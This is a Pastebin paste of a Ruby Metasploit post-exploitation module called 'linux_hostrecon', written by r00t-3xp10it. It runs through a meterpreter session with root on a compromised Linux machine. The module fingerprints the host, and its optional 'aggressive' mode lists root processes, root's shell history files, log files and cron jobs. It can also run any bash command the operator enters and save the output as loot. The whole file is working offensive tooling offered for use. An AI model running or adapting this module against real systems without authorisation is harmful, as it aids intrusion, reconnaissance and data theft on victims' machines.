r00t-3xp10it

linux_hostrecon V1.0

Sep 23rd, 2017
273
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 8.76 KB | None | 0 0
  1. #
  2. # Metasploit Module librarys to load ..
  3. #
  4. require 'rex'
  5. require 'msf/core'
  6. require 'msf/core/post/common'
  7.  
  8.  
  9.  
  10. #
  11. # Metasploit Class name and mixins ..
  12. #
  13. class MetasploitModule < Msf::Post
  14.       Rank = ExcellentRanking
  15.  
  16.   include Msf::Post::File
  17.   include Msf::Post::Linux::Priv
  18.   include Msf::Post::Linux::System
  19.  
  20.  
  21.  
  22. #
  23. # The 'def initialize()' funtion ..
  24. # Building Metasploit/Armitage info GUI/CLI description
  25. #
  26.         def initialize(info={})
  27.                 super(update_info(info,
  28.                         'Name'          => 'linux hostrecon post-module (fingerprints)',
  29.                         'Description'   => %q{
  30.                                         This module gathers target system information (linux distros) display outputs and stores it into a logfile in msf4/loot folder.
  31.                         },
  32.                         'License'       => UNKNOWN_LICENSE,
  33.                         'Author'        =>
  34.                                 [
  35.                                         'Module Author: pedr0 Ubuntu [r00t-3xp10it]', # post-module author :D
  36.                                 ],
  37.  
  38.                         'Version'        => '$Revision: 1.0',
  39.                         'DisclosureDate' => 'set 17 2017',
  40.                         'Platform'       => 'linux',
  41.                         'Arch'           => 'x86_x64',
  42.                         'Privileged'     => 'true',  # root privileges required?
  43.                         'Targets'        =>
  44.                                 [
  45.                                          [ 'Linux' ]
  46.                                 ],
  47.                         'DefaultTarget'  => '1', # default its to run againts linux targets
  48.                         'References'     =>
  49.                                 [
  50.                                          [ 'URL', 'http://goo.gl/RzP3DM' ],
  51.                                          [ 'URL', 'https://github.com/r00t-3xp10it' ],
  52.                                          [ 'URL', 'https://github.com/r00t-3xp10it/msf-auxiliarys' ],
  53.                                          [ 'URL', 'http://rapid7.github.io/metasploit-framework/api/' ]
  54.                                 ],
  55.             'DefaultOptions' =>
  56.                 {
  57.                     'SESSION' => '1',   # Default its to run againts session 1
  58.                 },
  59.                         'SessionTypes'   => [ 'meterpreter' ]
  60.  
  61.                 ))
  62.  
  63.                 register_options(
  64.                         [
  65.                                 OptString.new('SESSION', [ true, 'The session number to run this module on'])
  66.                         ], self.class)
  67.  
  68.                 register_advanced_options(
  69.                         [
  70.                                 OptBool.new('STORE_LOOT', [false, 'Store dumped data to msf4/loot folder?', false]),
  71.                                 OptBool.new('AGRESSIVE_DUMP', [false, 'Agressive system fingerprints scan?', false]),
  72.                                 OptString.new('SINGLE_COMMAND', [false, 'The bash command to execute remotelly'])
  73.                         ], self.class)
  74.  
  75.         end
  76.  
  77.  
  78.  
  79.  
  80.  
  81. def run
  82.   session = client
  83.          
  84.   print_line("+----------------------------+")
  85.   print_line("|LINUX HOSTRECON POST-MODULE |")
  86.   print_line("|   Author : r00t-3xp10it    |")
  87.   print_line("+----------------------------+")
  88.  
  89.     #
  90.     # check for proper target operative system (Linux)
  91.     #
  92.     unless sysinfo['OS'] =~ /Linux/ || sysinfo['OS'] =~ /linux/
  93.       print_error("[ABORT]: This module only works againt Linux systems")
  94.       return nil
  95.     end
  96.     #
  97.     # Check if we are running in an higth integrity context (root)
  98.     #
  99.     target_uid = client.sys.config.getuid
  100.     unless target_uid =~ /uid=0/ || target_uid =~ /root/
  101.       print_error("[ABORT]: root access is required in target system ..")
  102.       return nil
  103.     end
  104.     #
  105.     # check for proper session (meterpreter)
  106.     # the non-return of sysinfo command reveals that we are not on a meterpreter session!
  107.     #
  108.     if not sysinfo.nil?
  109.       print_status("Running module against: #{sysinfo['Computer']}")
  110.     else
  111.       print_error("[ABORT]: This module only works in meterpreter sessions!")
  112.       return nil
  113.     end
  114.  
  115.  
  116.  
  117.       #
  118.       # Dump system information from target system (fingerprints)
  119.       #
  120.       data_dump=''
  121.       print_status("Executing list of commands remotelly ..")
  122.       Rex::sleep(0.5)
  123.       # bash commands to be executed remotelly ..
  124.       current_shell = cmd_exec("echo $0")
  125.       distro_uname = cmd_exec("uname -a")
  126.       hardware_info = cmd_exec("lscpu | grep 'Architecture'; lscpu | grep 'CPU op-mode'; lscpu | grep 'Vendor ID'")
  127.       distro_shells = cmd_exec("grep '^[^#]' /etc/shells")
  128.         #
  129.         # Store data into an variable (data_dump) ..
  130.         # to be able to write the logfile and display the outputs ..
  131.         #
  132.         data_dump << "\n\n"
  133.         data_dump << "Running on session  : #{datastore['SESSION']}\n"
  134.         data_dump << "Client UID          : #{target_uid}\n"
  135.         data_dump << "DISTRO UNAME        : #{distro_uname}\n"
  136.         data_dump << "\n\n"
  137.         data_dump << "HARDWARE INFO\n"
  138.         data_dump << "-------------\n"
  139.         data_dump << hardware_info
  140.         data_dump << "\n\n"
  141.         data_dump << "CURRENT SHELL\n"
  142.         data_dump << "-------------\n"
  143.         data_dump << current_shell
  144.         data_dump << "\n\n"
  145.         data_dump << "AVAILABLE SHELLS\n"
  146.         data_dump << "----------------\n"
  147.         data_dump << distro_shells
  148.         data_dump << "\n\n"
  149.  
  150.  
  151.  
  152.         #
  153.         # Run agressive scans againts target ..
  154.         # if sellected previous in advanced options (set AGRESSIVE_DUMP true) ..
  155.         #
  156.         if datastore['AGRESSIVE_DUMP'] == true
  157.           print_status("Running agressive fingerprint modules ..")
  158.           Rex::sleep(0.5)
  159.           # bash commands to be executed remotelly ..
  160.           root_services = cmd_exec("ps -aux | grep '^root'")
  161.           distro_history = cmd_exec("ls -la /root/.*_history")
  162.           distro_logs = cmd_exec("find /var/log -type f -perm -4")
  163.           cron_tasks = cmd_exec("ls -la /etc/cron*")
  164.             #
  165.             # store data into an variable (data_dump) ..
  166.             # to be able to write the logfile and display the outputs ..
  167.             #
  168.             data_dump << "ROOT SERVICES RUNNING\n"
  169.             data_dump << "---------------------\n"
  170.             data_dump << root_services
  171.             data_dump << "\n\n"
  172.             data_dump << "LIST OF HISTORY FILES\n"
  173.             data_dump << "---------------------\n"
  174.             data_dump << distro_history
  175.             data_dump << "\n\n"
  176.             data_dump << "LIST OF LOGFILES FOUND\n"
  177.             data_dump << "----------------------\n"
  178.             data_dump << distro_logs
  179.             data_dump << "\n\n"
  180.             data_dump << "CRONTAB TASKS\n"
  181.             data_dump << "-------------\n"
  182.             data_dump << cron_tasks
  183.             data_dump << "\n\n"
  184.         end
  185.  
  186.  
  187.  
  188.         #
  189.         # Single_command to execute remotelly (user inputs) ..
  190.         # if sellected previous in advanced options (set SINGLE_COMMAND netstat -ano) ..
  191.         #
  192.         exec_bash = datastore['SINGLE_COMMAND']
  193.         # check if single_command option its configurated ..
  194.         if not exec_bash.nil?
  195.           print_status("Executing user input remote bash command ..")
  196.           Rex::sleep(0.5)
  197.           # bash command to be executed remotelly ..
  198.           single_comm = cmd_exec("#{exec_bash}")
  199.             print_status("Storing scan results into msf database ..")
  200.             Rex::sleep(0.5)
  201.             #
  202.             # store data into a local variable (data_dump) ..
  203.             # to be able to write the logfile and display the outputs ..
  204.             #
  205.             data_dump << "+--------------------------+\n"
  206.             data_dump << "|  COMMAND EXECUTED OUTPUT |\n"
  207.             data_dump << "+--------------------------+\n"
  208.             data_dump << "\n\n"
  209.             data_dump << single_comm
  210.             data_dump << "\n\n"
  211.         end
  212.  
  213.  
  214.  
  215.        #
  216.        # All scans finished ..
  217.        # Displaying results on screen (data_dump) ..
  218.        #
  219.        print_status("Remote scans completed, building list ..")
  220.        Rex::sleep(1.0)
  221.        # print the contents of 'data_dump' variable ..
  222.        print_line(data_dump)
  223.        Rex::sleep(0.5)
  224.  
  225.  
  226.  
  227.      #
  228.      # Store 'data_dump' contents into msf loot folder? (local) ..
  229.      # IF sellected previous in advanced options (set STORE_LOOT true) ..
  230.      #
  231.      if datastore['STORE_LOOT'] == true
  232.        print_warning("Fingerprints stored under: ~/.msf4/loot directory")
  233.        store_loot("linux_hostrecon", "text/plain", session, data_dump, "linux_hostrecon.txt", "linux_hostrecon")
  234.        Rex::sleep(0.5)
  235.      end
  236.  
  237.  
  238.    #
  239.    # end of the 'def run()' funtion ..
  240.    #
  241.    end
  242. #
  243. # exit module execution ..
  244. #
  245. end
Advertisement
Add Comment
Please, Sign In to add comment